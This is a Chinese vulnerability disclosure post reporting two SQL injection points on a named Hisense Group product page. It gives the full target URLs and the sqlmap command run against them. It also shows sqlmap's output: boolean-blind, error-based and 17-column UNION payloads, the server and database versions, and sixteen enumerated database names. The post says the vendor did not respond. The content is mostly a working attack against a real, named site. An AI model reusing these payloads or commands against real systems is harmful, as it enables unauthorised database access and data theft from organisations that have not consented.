海信集团Sql注入两枚

注入1：http://hbmt.hisense.com/cn/product.aspx?ClassID=z8UwZw

anMEg%3d&Length=1.4km

注入2：http://hbmt.hisense.com/cn/product.aspx?ClassID=z8UwZwanMEg%3d&Speed=10.3125G Speed=10.3125G

[~]# Sqlmap -u"http://hbmt.hisense.com/cn/product.aspx?ClassID=z8UwZw

anMEg%3d&Length=1.4km" --dbs

sqlmap/1.0-dev - automatic SQL injection and database takeover tool

http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual

consent is illegal. It is the end user's responsibility to obey all applicable

local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

[*] starting at 21:22:00

[21:22:01] [INFO] resuming back-end DBMS 'microsoft sql server'

[21:22:01] [INFO] testing connection to the target url

sqlmap identified the following injection points with a total of 0 HTTP(s) reque

sts:

---

Place: GET

Parameter: Length

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: ClassID=z8UwZwanMEg=&Length=1.4km%' AND 5576=5576 AND '%'='

Type: error-based

Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause

Payload: ClassID=z8UwZwanMEg=&Length=1.4km%' AND 8224=CONVERT(INT,(CHAR(58)+

CHAR(102)+CHAR(113)+CHAR(115)+CHAR(58)+(SELECT (CASE WHEN (8224=8224) THEN CHAR(

49) ELSE CHAR(48) END))+CHAR(58)+CHAR(107)+CHAR(103)+CHAR(122)+CHAR(58))) AND '%

'='

Type: UNION query

Title: Generic UNION query (NULL) - 17 columns

Payload: ClassID=z8UwZwanMEg=&Length=1.4km%' UNION ALL SELECT NULL, NULL, NU

LL, CHAR(58)+CHAR(102)+CHAR(113)+CHAR(115)+CHAR(58)+CHAR(113)+CHAR(112)+CHAR(85)

+CHAR(65)+CHAR(73)+CHAR(89)+CHAR(109)+CHAR(79)+CHAR(73)+CHAR(105)+CHAR(58)+CHAR(

107)+CHAR(103)+CHAR(122)+CHAR(58), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL

L, NULL, NULL, NULL, NULL, NULL--

---

[21:22:04] [INFO] the back-end DBMS is Microsoft SQL Server

web server operating system: Windows 2003

web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727

back-end DBMS: Microsoft SQL Server 2008

[21:22:04] [INFO] fetching database names

available databases [16]:

[*] master

[*] maxline

[*] maxline2

[*] model

[*] msdb

[*] naacee

[*] rcpos

[*] ReportServer

[*] ReportServerTempDB

[*] roadmax

[*] sq8bwg20130922

[*] sq8hbmtbuy

[*] sq8hengda2010

[*] sq8hxdcpay130816

[*] SSB20140501

[*] tempdb

全面排查子域名！

厂商回应：

未能联系到厂商或者厂商积极拒绝